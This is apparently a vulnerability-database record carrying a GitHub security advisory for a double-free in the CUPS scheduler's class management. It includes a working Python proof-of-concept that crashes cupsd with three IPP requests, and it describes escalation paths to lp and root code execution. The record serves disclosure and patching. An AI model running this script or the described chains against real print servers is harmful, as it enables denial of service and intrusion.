{"schema":"threatline.record/2","record":{"id":"GHSA-pwg4-pv39-8c22","aliases":["GHSA-pwg4-pv39-8c22"],"summary":"Double-free in cupsd class management via CUPS-Add-Modify-Class and CUPS-Delete-Class","details":"### Summary\r\n\r\n`cupsd` contains a double-free in class modification/deletion.\r\n\r\nWhen `CUPS-Add-Modify-Class` replaces the member list of an existing class, `add_class()` frees `pclass->printers` and resets `num_printers` to zero, but does not set the pointer to `NULL`. If later validation in the same request fails, the class object remains alive with `pclass->printers` pointing to freed memory. A subsequent `CUPS-Delete-Class` reaches `cupsdDeletePrinter()`, which frees the same pointer again.\r\n\r\nThe minimal trigger is three IPP requests:\r\n\r\n1. create or modify a class with one valid member;\r\n2. modify the same class with an invalid member URI, causing the old member array to be freed before validation fails;\r\n3. delete the class, causing the stale pointer to be freed again.\r\n\r\nThe bug was reproduced against both:\r\n\r\n- **CUPS v2.4.19:** AddressSanitizer reports an attempted double-free, with the first free in `add_class()` and the second in `cupsdDeletePrinter()`.\r\n- **2.4.x branch HEAD `a7bd8ba` (2026-10-01, version string 2.4.20):** the same three-request sequence causes an uninstrumented glibc build to terminate with `free(): double free detected in tcache 2`.\r\n\r\nWith the stock CUPS policy, class-management operations require `@SYSTEM`, so the baseline impact is an authenticated denial of service against the privileged scheduler.\r\n\r\nOn the tested **2.4.x HEAD**, the resulting stale-allocation primitive was additionally exploited to controlled filter execution:\r\n\r\n- service-account (`lp`) execution was demonstrated on a root-started daemon when the heap layout is known or independently disclosed, with the CUPS configuration itself otherwise stock;\r\n- `LogLevel debug2` logging adds an address-disclosure-assisted exploitation path when the error log is readable by the attacker;\r\n- root code execution was demonstrated when `FileDevice Yes` is enabled in addition to a known heap layout.\r\n\r\nThe `lp` and root results were demonstrated against root-started daemons; the `debug2` path was demonstrated end-to-end in an unprivileged test harness on the same HEAD (see Impact). All were run on the **2.4.x HEAD**; for **v2.4.19**, the runtime-confirmed claims in this report are the double-free itself and the resulting scheduler crash.\r\n\r\nSource inspection shows the same free-without-NULL pattern at least as far back as `release-1.4.8`; it is also present in `release-2.0.4`, `v2.2.13`, the inspected v2.4.x releases, and the current 2.4.x branch HEAD. Runtime reproduction was performed on v2.4.19 and `a7bd8ba`; older versions were assessed by source inspection.\r\n\r\n### Details\r\n\r\n#### 1. First free leaves a dangling pointer\r\n\r\nWhen an existing class receives a new `member-uris` list, `add_class()` releases the old member array:\r\n\r\n```c\r\nif (pclass->num_printers > 0)\r\n{\r\n  free(pclass->printers);\r\n  pclass->num_printers = 0;\r\n}\r\n```\r\n\r\nLocation:\r\n\r\n```text\r\nv2.4.19:\r\nscheduler/ipp.c:972-976\r\nfirst free at ipp.c:974\r\n\r\n2.4.x HEAD a7bd8ba:\r\nfirst free at scheduler/ipp.c:982\r\n```\r\n\r\n`pclass->printers` is not set to `NULL`.\r\n\r\nThe object is therefore left temporarily in the following state:\r\n\r\n```text\r\nnum_printers = 0\r\nprinters     = <freed allocation>\r\n```\r\n\r\nThis would not by itself be a problem if the pointer were always replaced before the function returned. However, additional validation occurs after the free.\r\n\r\n#### 2. Validation failures preserve the stale pointer\r\n\r\nSeveral later validation paths can return before a replacement member array is installed.\r\n\r\nFor example, member URIs are validated with `cupsdValidateDest()` — after the original `pclass->printers` allocation has already been freed. Post-free failure cases include:\r\n\r\n- a `member-uri` referring to a nonexistent destination;\r\n- a `member-uri` referring to another class, which is rejected because nested classes are not allowed;\r\n- later printer-default validation failures, such as an invalid printer operation policy.\r\n\r\nFor an existing class, these errors do not destroy the class object. The class remains registered with:\r\n\r\n```text\r\npclass->num_printers == 0\r\npclass->printers     == dangling pointer\r\n```\r\n\r\nMost code does not immediately notice the invalid pointer because accesses to the member array are bounded by `num_printers`.\r\n\r\nThe stale pointer therefore survives until the class is deleted.\r\n\r\n#### 3. Class deletion frees the same allocation again\r\n\r\n`cupsdDeletePrinter()` later releases a class's member array:\r\n\r\n```c\r\nif (p->printers != NULL)\r\n  free(p->printers);\r\n```\r\n\r\nLocation:\r\n\r\n```text\r\nv2.4.19:\r\nscheduler/printers.c:715-716\r\n\r\n2.4.x HEAD a7bd8ba:\r\nsecond free at scheduler/printers.c:733\r\n```\r\n\r\nBecause `pclass->printers` was never cleared after the first free, it remains non-NULL.\r\n\r\nThe delete path therefore calls `free()` on the same allocation a second time.\r\n\r\nWith AddressSanitizer on v2.4.19, the same heap region is reported as:\r\n\r\n```text\r\nfirst free:\r\n    add_class()\r\n    scheduler/ipp.c:974\r\n\r\nsecond free:\r\n    cupsdDeletePrinter()\r\n    scheduler/printers.c:716\r\n```\r\n\r\nOn the uninstrumented 2.4.x HEAD build, the same request sequence terminates the daemon with:\r\n\r\n```text\r\nfree(): double free detected in tcache 2\r\n```\r\n\r\nfollowed by `SIGABRT`.\r\n\r\n#### 4. Minimal trigger sequence\r\n\r\nThe bug requires only three class-management requests.\r\n\r\n##### Request 1 — create a class containing a valid printer\r\n\r\n```text\r\nCUPS-Add-Modify-Class c1\r\n\r\nmember-uris:\r\n    ipp://host/printers/p1\r\n```\r\n\r\nThe resulting class contains one member and owns a dynamically allocated `printers` array.\r\n\r\n##### Request 2 — replace the member list with an invalid destination\r\n\r\n```text\r\nCUPS-Add-Modify-Class c1\r\n\r\nmember-uris:\r\n    ipp://host/printers/nonexistent\r\n```\r\n\r\n`add_class()` first frees the existing `pclass->printers` array.\r\n\r\nValidation of the new URI then fails.\r\n\r\nThe existing class survives, but its `printers` field still contains the freed address.\r\n\r\n##### Request 3 — delete the class\r\n\r\n```text\r\nCUPS-Delete-Class c1\r\n```\r\n\r\n`cupsdDeletePrinter()` sees a non-NULL `p->printers` value and calls `free()` on it again.\r\n\r\nThis produces the double-free.\r\n\r\n### Proof of concept\r\n\r\n#### Test conditions\r\n\r\nThe minimal reproduction was tested against:\r\n\r\n```text\r\nCUPS v2.4.19\r\n\r\nand\r\n\r\n2.4.x branch HEAD\r\ncommit: a7bd8ba\r\ndate:   2026-10-01\r\nversion string: 2.4.20\r\n```\r\n\r\nThe server needs one existing printer queue that can be used as the valid initial class member, for example:\r\n\r\n```text\r\n/printers/p1\r\n```\r\n\r\nThe client must be authorized to perform:\r\n\r\n```text\r\nCUPS-Add-Modify-Class\r\nCUPS-Delete-Class\r\n```\r\n\r\nUnder the shipped CUPS policy these operations require `@SYSTEM`.\r\n\r\n**Note on authentication:** the supplied minimal PoC does not implement CUPS authentication. Reproduce it either\r\n\r\n- against a test policy that grants only these two class-management operations to the test client (printer-management permissions are not required to trigger the bug), or\r\n- by performing the same three IPP operations with an authenticated `@SYSTEM` account under the shipped policy.\r\n\r\nWithout one of the above, the script's requests are answered with `HTTP 401 Unauthorized` before any class operation is processed.\r\n\r\n#### PoC script\r\n\r\n```python\r\n#!/usr/bin/env python3\r\n\"\"\"\r\nPoC: cupsd double-free in class deletion.\r\n\r\nv2.4.19:\r\n    first free:  scheduler/ipp.c:974\r\n    second free: scheduler/printers.c:716\r\n\r\n2.4.x HEAD a7bd8ba:\r\n    first free:  scheduler/ipp.c:982\r\n    second free: scheduler/printers.c:733\r\n\"\"\"\r\n\r\nimport socket\r\nimport struct\r\nimport sys\r\n\r\n\r\nHOST = sys.argv[1] if len(sys.argv) > 1 else \"127.0.0.1\"\r\nPORT = int(sys.argv[2]) if len(sys.argv) > 2 else 631\r\n\r\nCURI = f\"ipp://{HOST}:{PORT}/classes/c009\"\r\n\r\n\r\ndef attr_str(tag, name, value):\r\n    value = value.encode()\r\n\r\n    return (\r\n        struct.pack(\">BH\", tag, len(name))\r\n        + name.encode()\r\n        + struct.pack(\">H\", len(value))\r\n        + value\r\n    )\r\n\r\n\r\ndef attr_uris(name, uris):\r\n    name_bytes = name.encode()\r\n\r\n    out = struct.pack(\">BH\", 0x45, len(name_bytes)) + name_bytes\r\n\r\n    for uri in uris:\r\n        value = uri.encode()\r\n        out += struct.pack(\">H\", len(value)) + value\r\n\r\n    return out\r\n\r\n\r\ndef ipp_request(opid, reqid, groups, path):\r\n    body = struct.pack(\">BBHI\", 1, 1, opid, reqid)\r\n\r\n    for group_tag, attrs in groups:\r\n        body += bytes([group_tag]) + attrs\r\n\r\n    body += b\"\\x03\"\r\n\r\n    request = (\r\n        f\"POST {path} HTTP/1.1\\r\\n\"\r\n        f\"Host: {HOST}:{PORT}\\r\\n\"\r\n        f\"Content-Type: application/ipp\\r\\n\"\r\n        f\"Content-Length: {len(body)}\\r\\n\"\r\n        f\"Connection: close\\r\\n\"\r\n        f\"\\r\\n\"\r\n    ).encode() + body\r\n\r\n    sock = socket.create_connection((HOST, PORT))\r\n    sock.settimeout(15)\r\n    sock.sendall(request)\r\n\r\n    response = b\"\"\r\n\r\n    try:\r\n        while True:\r\n            chunk = sock.recv(4096)\r\n\r\n            if not chunk:\r\n                break\r\n\r\n            response += chunk\r\n\r\n    except socket.timeout:\r\n        pass\r\n\r\n    sock.close()\r\n\r\n    if b\"\\r\\n\\r\\n\" not in response:\r\n        return None\r\n\r\n    ipp = response.split(b\"\\r\\n\\r\\n\", 1)[1]\r\n\r\n    if len(ipp) < 6:\r\n        return None\r\n\r\n    return struct.unpack(\">H\", ipp[2:4])[0]\r\n\r\n\r\ndef op_attrs(extra=b\"\"):\r\n    return (\r\n        attr_str(0x47, \"attributes-charset\", \"utf-8\")\r\n        + attr_str(0x48, \"attributes-natural-language\", \"en\")\r\n        + attr_str(0x45, \"printer-uri\", CURI)\r\n        + extra\r\n    )\r\n\r\n\r\n# Step 1:\r\n# Create/modify the class with one valid member.\r\nstatus = ipp_request(\r\n    0x4006,\r\n    1,\r\n    [\r\n        (0x01, op_attrs()),\r\n        (\r\n            0x04,\r\n            attr_uris(\r\n                \"member-uris\",\r\n                [f\"ipp://{HOST}:{PORT}/printers/p1\"],\r\n            ),\r\n        ),\r\n    ],\r\n    \"/classes/c009\",\r\n)\r\n\r\nprint(\r\n    \"[*] Add-Modify-Class (valid member): \"\r\n    + (hex(status) if status is not None else \"?\")\r\n)\r\n\r\n\r\n# Step 2:\r\n# Replace the member list with a nonexistent printer.\r\n#\r\n# The existing member array is freed before validation fails,\r\n# leaving pclass->printers dangling.\r\nstatus = ipp_request(\r\n    0x4006,\r\n    2,\r\n    [\r\n        (0x01, op_attrs()),\r\n        (\r\n            0x04,\r\n            attr_uris(\r\n                \"member-uris\",\r\n                [f\"ipp://{HOST}:{PORT}/printers/nonexistent\"],\r\n            ),\r\n        ),\r\n    ],\r\n    \"/classes/c009\",\r\n)\r\n\r\nprint(\r\n    \"[*] Add-Modify-Class (bad member): \"\r\n    + (hex(status) if status is not None else \"?\")\r\n)\r\n\r\n\r\n# Step 3:\r\n# Delete the class.\r\n#\r\n# cupsdDeletePrinter() frees the stale printers pointer again.\r\ntry:\r\n    status = ipp_request(\r\n        0x4007,\r\n        3,\r\n        [(0x01, op_attrs())],\r\n        \"/classes/c009\",\r\n    )\r\n\r\n    print(\r\n        \"[*] Delete-Class: \"\r\n        + (\r\n            hex(status)\r\n            if status is not None\r\n            else \"no response (daemon died?)\"\r\n        )\r\n    )\r\n\r\nexcept Exception as exc:\r\n    print(\r\n        f\"[*] Delete-Class: connection failed ({exc}) \"\r\n        \"- daemon likely dead\"\r\n    )\r\n\r\n\r\nprint(\r\n    \"[*] check: systemctl status cups / \"\r\n    \"journalctl -u cups --since -1min\"\r\n)\r\n```\r\n\r\n#### Expected result\r\n\r\nTypical output before the daemon terminates is:\r\n\r\n```text\r\n[*] Add-Modify-Class (valid member): 0x0\r\n[*] Add-Modify-Class (bad member): 0x406 (client-error-not-found)\r\n[*] Delete-Class: no response (daemon died?)\r\n```\r\n\r\n##### v2.4.19 with AddressSanitizer\r\n\r\nThe sanitizer reports:\r\n\r\n```text\r\nERROR: AddressSanitizer: attempting double-free\r\n```\r\n\r\nThe second free originates from:\r\n\r\n```text\r\ncupsdDeletePrinter\r\nscheduler/printers.c:716\r\n```\r\n\r\nand the allocation was previously freed from:\r\n\r\n```text\r\nadd_class\r\nscheduler/ipp.c:974\r\n```\r\n\r\nThis confirms that the same class-member allocation is freed twice.\r\n\r\n##### 2.4.x HEAD `a7bd8ba`\r\n\r\nThe same sequence against an uninstrumented vanilla build produces:\r\n\r\n```text\r\nfree(): double free detected in tcache 2\r\n```\r\n\r\nand the scheduler terminates with `SIGABRT`.\r\n\r\nThe bug is therefore still present in the tested 2.4.x branch HEAD.\r\n\r\n### Impact\r\n\r\nThe baseline impact is a deterministic authenticated denial of service for a client authorized to perform class-management operations; the underlying primitive is a memory-corruption vulnerability in the privileged `cupsd` scheduler.\r\n\r\nThe exact consequence depends on the affected version and deployment conditions.\r\n\r\n#### v2.4.19\r\n\r\nThe directly demonstrated v2.4.19 impact is a deterministic double-free and scheduler denial of service.\r\n\r\nWith the stock policy, a user authorized for class administration (`@SYSTEM`, commonly an administrator or `lpadmin` member) can terminate the root-started `cupsd` process using the three-request sequence described above.\r\n\r\nThe sequence is repeatable after the scheduler restarts.\r\n\r\nAddressSanitizer confirms that this is a genuine heap memory-safety violation rather than merely an application-level error:\r\n\r\n```text\r\nfree in add_class()\r\n        ↓\r\nclass survives with dangling printers pointer\r\n        ↓\r\nfree in cupsdDeletePrinter()\r\n        ↓\r\ndouble-free\r\n```\r\n\r\nThe more advanced exploitation scenarios below were tested against the current 2.4.x branch HEAD and are not claimed here as separately reproduced against v2.4.19.\r\n\r\n#### 2.4.x branch HEAD `a7bd8ba`\r\n\r\nThe double-free remains present at the tested branch HEAD.\r\n\r\nThe basic three-request sequence reliably terminates the daemon, and the stale-allocation primitive was additionally escalated to code execution in three tested environments.\r\n\r\n##### Scenario A — readable `debug2` logging\r\n\r\nWhen:\r\n\r\n```text\r\nLogLevel debug2\r\n```\r\n\r\nis enabled and the attacker can read the resulting error log, scheduler logging exposes heap addresses needed to identify the relevant allocations.\r\n\r\nThe freed class-member array can then be reused by a live MIME-filter structure. Deleting the stale class frees that live allocation, after which controlled allocations can reoccupy it and modify the filter command.\r\n\r\nA subsequent print job traverses the corrupted filter entry and executes the selected permitted program as the configured CUPS filter account.\r\n\r\nOn a stock root-started installation this is normally:\r\n\r\n```text\r\nUser lp\r\n```\r\n\r\nThis path was demonstrated end-to-end on the tested 2.4.x HEAD in the unprivileged test harness, executing as the daemon's own account. On a normal root-started deployment, filter execution is performed under the configured CUPS `User` account (normally `lp`), subject to the same program-validation restrictions described under Scenario B.\r\n\r\n##### Scenario B — stock CUPS configuration with heap addresses known by another means\r\n\r\nThis scenario applies when the CUPS configuration itself is stock (no debug logging required) and the relevant heap addresses are known by another means, including environments where:\r\n\r\n- ASLR is disabled;\r\n- the layout is otherwise predictable;\r\n- or an independent heap-address disclosure is available.\r\n\r\nAllocator grooming using IPP requests allows the freed class-member allocation to be reused by a live `mime_filter_t` object.\r\n\r\nThe stale class pointer can then free the live object, after which controlled IPP allocations rewrite the same region while preserving the required internal pointers and replacing the filter command.\r\n\r\nA subsequent print job reaches the corrupted filter during filter-graph traversal.\r\n\r\nThis was reproduced repeatedly against freshly started daemons with the attack sequence delivered entirely through IPP requests — executing as the daemon's own account in the test harness, and against a root-started daemon (with an existing permitted executable) as the `lp` filter account.\r\n\r\nOn stock root-started deployments, CUPS validates programs before filters and backends are executed. An attacker cannot simply introduce an arbitrary attacker-owned executable because the selected program must satisfy CUPS' ownership and permission checks.\r\n\r\nThe demonstrated result on this configuration is therefore execution as the CUPS service/filter account using an existing permitted executable, in addition to the underlying heap-corruption primitive.\r\n\r\n##### Scenario C — `FileDevice Yes` with known heap layout\r\n\r\nWhen the documented non-default option:\r\n\r\n```text\r\nFileDevice Yes\r\n```\r\n\r\nis enabled, the same corrupted-filter primitive can be combined with a `file:` output queue.\r\n\r\nIn the tested configuration, the corrupted filter first selects an existing permitted system executable.\r\n\r\nA `file:` queue then causes the root scheduler itself to open an existing root-owned backend file and write attacker-controlled print data into it.\r\n\r\nThe overwritten backend can subsequently be selected through a queue whose `device-uri` uses that backend scheme.\r\n\r\nBecause CUPS permits root execution of suitably protected root-owned backend programs, the overwritten backend is then spawned by the root scheduler.\r\n\r\nThe tested chain resulted in:\r\n\r\n```text\r\nuid=0\r\neuid=0\r\nparent process = root cupsd\r\n```\r\n\r\ndemonstrating root code execution on the tested 2.4.x HEAD.\r\n\r\nThis scenario depends on both:\r\n\r\n```text\r\nknown/predictable heap layout\r\nand\r\nFileDevice Yes\r\n```\r\n\r\nand therefore does not represent the default deployment condition.\r\n\r\n#### Privilege boundary\r\n\r\nWith the shipped CUPS policy, this is not an unauthenticated vulnerability.\r\n\r\nThe class-management operations required to reach `add_class()` and `cupsdDeletePrinter()` are protected by `@SYSTEM`.\r\n\r\nHowever, CUPS authorization policies can delegate class management independently of printer management.\r\n\r\nI verified this distinction with a policy that allowed the relevant class operations while denying:\r\n\r\n```text\r\nCUPS-Add-Modify-Printer\r\n```\r\n\r\nto the same client.\r\n\r\nIn that configuration, attempts to modify printers were rejected with:\r\n\r\n```text\r\nHTTP 401 Unauthorized\r\n```\r\n\r\nwhile the client could still drive the three-request sequence to the double-free.\r\n\r\nTherefore, in split-administration deployments, a role authorized only to manage classes can obtain a memory-corruption primitive against the privileged scheduler even when it cannot use printer-management operations that would otherwise provide more direct administrative capabilities.\r\n\r\nThe split-administration test establishes reachability of the memory-corruption primitive only. The exploitation scenarios above were evaluated with the additional printer- and job-management capabilities required by their respective chains (print jobs, filter re-registration, and — for the `file:` chain — queue/device configuration); they should not be read as implying that a class-only role can necessarily complete those chains.\r\n\r\nThe underlying defect is the stale `pclass->printers` pointer left by `add_class()`. Clearing it after the first `free()`, or deferring destruction of the old member list until the replacement has been fully validated, prevents the second free.\r\n\r\n### Fix\r\n\r\n**Type**: Security hardening, not vulnerability, because it is triggerable only with admin rights \r\n\r\n[master b17ab0ee1b5eeb9b57d5eb09ab248bb3bb5a226e] Initialize printers array to NULL after freeing (GHSA-pwg4-pv39-8c22)\r\n\r\n[2.4.x 13bc9d4f8d695403d54469cc3c8b675e34a7037f] Initialize printers array to NULL after freeing (GHSA-pwg4-pv39-8c22)","categories":["Unclassified"],"product":"cups","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/OpenPrinting/cups/security/advisories/GHSA-pwg4-pv39-8c22","source_modified_at":"2026-10-05T15:02:07Z","fetched_at":"2026-10-28T15:55:58.673066Z","package":{"ecosystem":"","name":"cups"},"range":">= 1.4.8, <= 2.4.19"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/OpenPrinting/cups/security/advisories/GHSA-pwg4-pv39-8c22","source_modified_at":"2026-10-05T15:02:07Z","fetched_at":"2026-10-28T15:55:58.673066Z","package":{"ecosystem":"","name":"cups"},"version":"2.4.20"}],"cvss":2.3,"severity":"Low","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-05T14:38:17Z","modified_at":"2026-10-05T15:02:07Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/OpenPrinting/cups/security/advisories/GHSA-pwg4-pv39-8c22","fetched_at":"2026-10-28T15:55:58.673066Z","source_modified_at":"2026-10-05T15:02:07Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-05T15:02:07Z","content_hash":"037977e96db877473fe6bd6f7b5ca4ee591f68a9a27fcf0b03ec0665b29710fd"}}
